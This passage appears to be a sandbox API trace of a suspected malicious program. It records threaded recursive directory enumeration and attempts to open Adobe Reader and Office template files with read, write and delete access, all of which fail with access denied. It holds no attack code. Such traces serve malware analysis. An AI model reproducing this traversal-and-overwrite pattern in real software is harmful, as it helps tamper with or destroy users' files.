lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.046] wcscmp (_String1=".", _String2=".") returned 0 [0152.046] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.046] wcscmp (_String1="..", _String2=".") returned 1 [0152.046] wcscmp (_String1="..", _String2="..") returned 0 [0152.046] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0152.046] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0152.046] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0152.046] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0152.046] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0152.046] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0152.046] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0152.046] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0152.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0152.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904b18) returned 1 [0152.046] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbff8) returned 1 Thread: id = 3217 os_tid = 0x1ed0 [0152.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbff8 [0152.047] wcscpy (in: _Dest=0xd4bbff8, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0152.047] wcscat (in: _Dest=0xd4bbff8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0152.047] wcscat (in: _Dest=0xd4bbff8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0152.047] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0152.047] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942670 [0152.048] wcscmp (_String1=".", _String2=".") returned 0 [0152.048] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.048] wcscmp (_String1="..", _String2=".") returned 1 [0152.048] wcscmp (_String1="..", _String2="..") returned 0 [0152.048] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0152.048] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0152.048] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0152.048] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0152.048] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0152.048] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0152.048] FindNextFileW (in: hFindFile=0x942670, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0152.048] FindClose (in: hFindFile=0x942670 | out: hFindFile=0x942670) returned 1 [0152.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0152.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbff8) returned 1 [0152.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6890) returned 1 Thread: id = 3218 os_tid = 0x1ed4 [0152.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f4940 [0152.049] wcscpy (in: _Dest=0x8f4940, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0152.049] wcscat (in: _Dest=0x8f4940, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0152.049] wcscat (in: _Dest=0x8f4940, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0152.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0152.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942630 [0153.234] wcscmp (_String1=".", _String2=".") returned 0 [0153.234] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.234] wcscmp (_String1="..", _String2=".") returned 1 [0153.234] wcscmp (_String1="..", _String2="..") returned 0 [0153.234] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 1 [0153.234] wcscmp (_String1="P7Y3F7QB", _String2=".") returned 1 [0153.234] wcscmp (_String1="P7Y3F7QB", _String2="..") returned 1 [0153.234] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbc) returned 0xd4b9d28 [0153.234] wcscpy (in: _Dest=0xd4b9d28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0153.234] wcscat (in: _Dest=0xd4b9d28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0153.234] wcscat (in: _Dest=0xd4b9d28, _Source="P7Y3F7QB" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0153.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4b9d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434 [0153.524] FindNextFileW (in: hFindFile=0x942630, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0 [0153.524] FindClose (in: hFindFile=0x942630 | out: hFindFile=0x942630) returned 1 [0153.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0153.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4940) returned 1 [0153.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4718) returned 1 Thread: id = 3219 os_tid = 0x1ed8 [0152.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xae) returned 0x8f42c8 [0152.050] wcscpy (in: _Dest=0x8f42c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0152.050] wcscat (in: _Dest=0x8f42c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0152.050] wcscat (in: _Dest=0x8f42c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0152.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0152.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941e70 [0153.030] wcscmp (_String1=".", _String2=".") returned 0 [0153.030] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.030] wcscmp (_String1="..", _String2=".") returned 1 [0153.030] wcscmp (_String1="..", _String2="..") returned 0 [0153.030] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0153.030] wcscmp (_String1="support", _String2=".") returned 1 [0153.031] wcscmp (_String1="support", _String2="..") returned 1 [0153.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9b98 [0153.031] wcscpy (in: _Dest=0xd4b9b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0153.031] wcscat (in: _Dest=0xd4b9b98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0153.031] wcscat (in: _Dest=0xd4b9b98, _Source="support" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0154.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4b9b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4 [0154.093] FindNextFileW (in: hFindFile=0x941e70, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0154.093] FindClose (in: hFindFile=0x941e70 | out: hFindFile=0x941e70) returned 1 [0154.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0154.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f42c8) returned 1 [0154.093] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4b68) returned 1 Thread: id = 3220 os_tid = 0x1edc [0152.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi")) returned 0x20 [0152.669] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi", dwFileAttributes=0x20) returned 0 [0152.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.670] GetLastError () returned 0x5 [0152.670] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi", dwFileAttributes=0x20) returned 0 [0152.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac560) returned 1 Thread: id = 3221 os_tid = 0x1ee0 [0152.052] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg")) returned 0x20 [0152.671] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg", dwFileAttributes=0x20) returned 0 [0152.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.671] GetLastError () returned 0x5 [0152.671] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg", dwFileAttributes=0x20) returned 0 [0152.671] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab980) returned 1 Thread: id = 3222 os_tid = 0x1ee4 [0152.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx")) returned 0x20 [0152.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.054] GetLastError () returned 0x5 [0152.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.054] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6a28) returned 1 Thread: id = 3223 os_tid = 0x1ee8 [0152.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx")) returned 0x20 [0152.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.055] GetLastError () returned 0x5 [0152.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.055] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7328) returned 1 Thread: id = 3224 os_tid = 0x1eec [0152.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx")) returned 0x20 [0152.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.058] GetLastError () returned 0x5 [0152.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.059] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e67e8) returned 1 Thread: id = 3225 os_tid = 0x1ef0 [0152.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx")) returned 0x20 [0152.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.060] GetLastError () returned 0x5 [0152.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.060] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7208) returned 1 Thread: id = 3226 os_tid = 0x1ef4 [0152.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx")) returned 0x20 [0152.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx", dwFileAttributes=0x20) returned 0 [0152.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 